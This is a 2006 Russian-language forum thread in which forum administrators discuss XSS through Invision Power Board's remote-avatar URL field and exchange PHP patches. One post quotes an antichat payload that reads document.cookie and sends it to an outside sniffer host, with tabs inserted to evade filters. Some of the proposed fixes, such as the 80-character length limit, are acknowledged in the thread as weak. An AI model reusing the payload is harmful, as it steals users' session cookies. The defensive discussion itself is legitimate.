Arhar Опубликовано 8 Июня 2006 Жалоба Поделиться Опубликовано 8 Июня 2006 Смысл этого такой Если включена опция загрузить автар по ссылке, туда, в эту ссылку могут пихнуть скрипт со сниффером подробнее читай на античат: http://forum.antichat.ru/threadnav19773-1-10-2.1.6.html там, в этой строке стоит ограничение по количеству вводимых символов 20 они сохраняют страницу на диск и просто в хтмл коде меняют эту цифру на 200 вводят в свою страницу этот бред, потом отсылают ей же(с помощью её) этот запрос уже на реальный сервер и аватар становится сниффером так вот, идея парсить количество символов в этом запросе не в строке ввода, а при передаче(в процессе передачи) и возвращать ответ, мол запихни свой сниффер себе в *** как такое можно организовать? может яваскриптом? или где идёт обработка этой строки(где она идёт)? ДОБАВЛЕНО: в общем, меня интересует только где идёт обработка этой строки(в каком файле, в какой строчке) Ссылка на комментарий Поделиться на других сайтах Прочее
Neo[CCCP] Опубликовано 8 Июня 2006 Жалоба Поделиться Опубликовано 8 Июня 2006 Да отключить нафиг возможность удалённых аватаров) Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 8 Июня 2006 Автор Жалоба Поделиться Опубликовано 8 Июня 2006 я так сделал вообще с самого начала использования форума, я знал про такую возможность ещё с пхпббно ведь есть же и порядочные людидайте место, где обрабатывается эта строчка и я попытаюсь дать заплатку Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 8 Июня 2006 Жалоба Поделиться Опубликовано 8 Июня 2006 да эта проверка всё чушь, ну на вот, на:http://www.sysman.ru/index.php?showtopic=3...indpost&p=44805 Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 8 Июня 2006 Автор Жалоба Поделиться Опубликовано 8 Июня 2006 http://thearhar.tulpar.net/strrchr.htmя так и не разобрался, как сделать меньше-равно ))) у тебя если больше) я пытался туда вводить даже ацкий скрипт, предлагаемый античатомjava script:x=document.cookie%3Bimg=new%20Image()%3Bimg.src=%27http://antichat.ru/cgi-bin/s.jpg%3F%27%2Bx/*.jpg*///.gifтам между каждым символом в слове яваскрипт стоят табуляциипроверь реакцию моего счётчика, и поймёшь, что не фигня детишки))) ;-) для юзеров 2.1.х это будет выглядеть так: Файл sources/lib/usercp_functions.php: найти: $this->ipsclass->input['url_avatar'] = trim($this->ipsclass->input['url_avatar']); if ( empty($this->ipsclass->vars['allow_dynamic_img']) ) { if ( preg_match( "/[?&;]/", $this->ipsclass->input['url_avatar'] ) ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'avatar_invalid_url' ) ); } }добавить ПОСЛЕ: // XSS patch from kiddie html editors;-) © Song; Altered by Arhar)) if ( strlen($this->ipsclass->input['url_avatar']) > 80 ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'avatar_invalid_url' ) ); } Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 8 Июня 2006 Жалоба Поделиться Опубликовано 8 Июня 2006 ))) у тебя если больше) и ? Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 9 Июня 2006 Автор Жалоба Поделиться Опубликовано 9 Июня 2006 я от меньше равно отталкивался ещё есть вариант, как strchr ($this->ipsclass->input['url_avatar'], h);эта штука вернёт только строчку справа от символа h(включая этот символ)тоесть нормальные ссылки типа http:// будут оставатся неизменными, а ссылки, начинающиеся с java script будут отрезатся Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 9 Июня 2006 Жалоба Поделиться Опубликовано 9 Июня 2006 дык это можно множеством способов сделать if ( !stristr(($txt, 'http://') ) { ... } if ( strpos(($txt, 'http://') === FALSE ) { ... } if ( !preg_match("/^http:\/\//i", $txt) ) { ... } последнее имхо самое правильное, потому что первые и твоё они регистрозависимые добавлено: а кстати, так там это проверяется: //----------------------------------- // Check to make sure we don't just have // http:// in the URL box.. //------------------------------------ if ( preg_match("/^http:\/\/$/i", $ibforums->input['url_avatar'] ) ) { $ibforums->input['url_avatar'] = ""; } я от меньше равно отталкивался ну так "<=" Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 9 Июня 2006 Автор Жалоба Поделиться Опубликовано 9 Июня 2006 о, точно, спасибораз проверяется, а потом работает, то плохо проверяетсядополнительная проверка не помешает а ограничение по количеству символов разве регистро зависимо? плюс к тому, надо отрезать яваскрипт, ведь так?а нормальная ссылка будет работать, никому же в голову не придёт писать её с HTTPтам уже по умолчанию как образец проставлено маленькими буквами http:// Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 9 Июня 2006 Автор Жалоба Поделиться Опубликовано 9 Июня 2006 смотри и пихай всё что угодно: http://thearhar.tulpar.net/test.php Check to make sure we don't just have http:// in the URL box..Это ничего не спасаетпроверим чтобы убедится, что мы не имеем только http:// в строкекак оно работает (preg_match)?проверяет наличие в строке строки http://? Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 9 Июня 2006 Автор Жалоба Поделиться Опубликовано 9 Июня 2006 Функция preg_match() возвращает количество найденных соответствийне спасает потому, что в этом коде есть http:// Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 9 Июня 2006 Жалоба Поделиться Опубликовано 9 Июня 2006 а если удаленный аватар закачивать на машину, и с помщью функций графических пакетов проверять mime-type ? Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 10 Июня 2006 Автор Жалоба Поделиться Опубликовано 10 Июня 2006 а смысл?они же вводят в строку аватара не картинку, а команду Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 13 Июня 2006 Жалоба Поделиться Опубликовано 13 Июня 2006 а ограничение по количеству символов разве регистро зависимо? повеселил плюс к тому, надо отрезать яваскрипт, ведь так?отрезается: if ( preg_match("/java script:/is", $ibforums->input['url_avatar'] ) ) { $ibforums->input['url_avatar'] = ""; } проверяет наличие в строке строки http://?да. там уже по умолчанию как образец проставлено маленькими буквами http://без разницы какими. этот preg_match проверяет, что в строке кроме "http://" есть ещё что-то. Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 13 Июня 2006 Автор Жалоба Поделиться Опубликовано 13 Июня 2006 так..всё так..на последнее этот preg_match проверяет, что в строке кроме "http://" есть ещё что-то.XSS через аватари что то ещё есть, так что не спасает..вобщем, проблема решена простейшим strlen? Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 14 Июня 2006 Жалоба Поделиться Опубликовано 14 Июня 2006 и что то ещё есть, так что не спасает..ты пойми что "http://" отрезать не надо, т.к. это поле собственно и преднозначено для ввода URLа. тоесть нормальные ссылки типа http:// будут оставатся неизменными, а ссылки, начинающиеся с java script будут отрезатся Нет. Ссылка на аватар отрезается если javascript будет в любом месте ссылки, а не только в начале!Но. Эту проверку легко "переубедить", что и делают киддисы по приведённой тобою ссылке, т.к. выше я уже тебе про это говорил:да эта проверка всё чушь, ну на вот, на: вобщем, проблема решена простейшим strlen?ну если введут скрипт меньше чем 80 символов то не решена Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 14 Июня 2006 Автор Жалоба Поделиться Опубликовано 14 Июня 2006 ты пойми что "http://" отрезать не надо, т.к. это поле собственно и преднозначено для ввода URLада я и не говорю, что надо его отрезатьфункция strchr возвращает строку начиная с указанного символа(включая его) если найдёт этот символ в строкеstrchr('javahttp','h') вернёт http Проблема решена, невозможно составить скрипт меньше 80 символовтот что там - 127по любому пробелы, всякие точкизапятые надо заменять символа на 3-4 в крайнем случае, ставим 50 Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения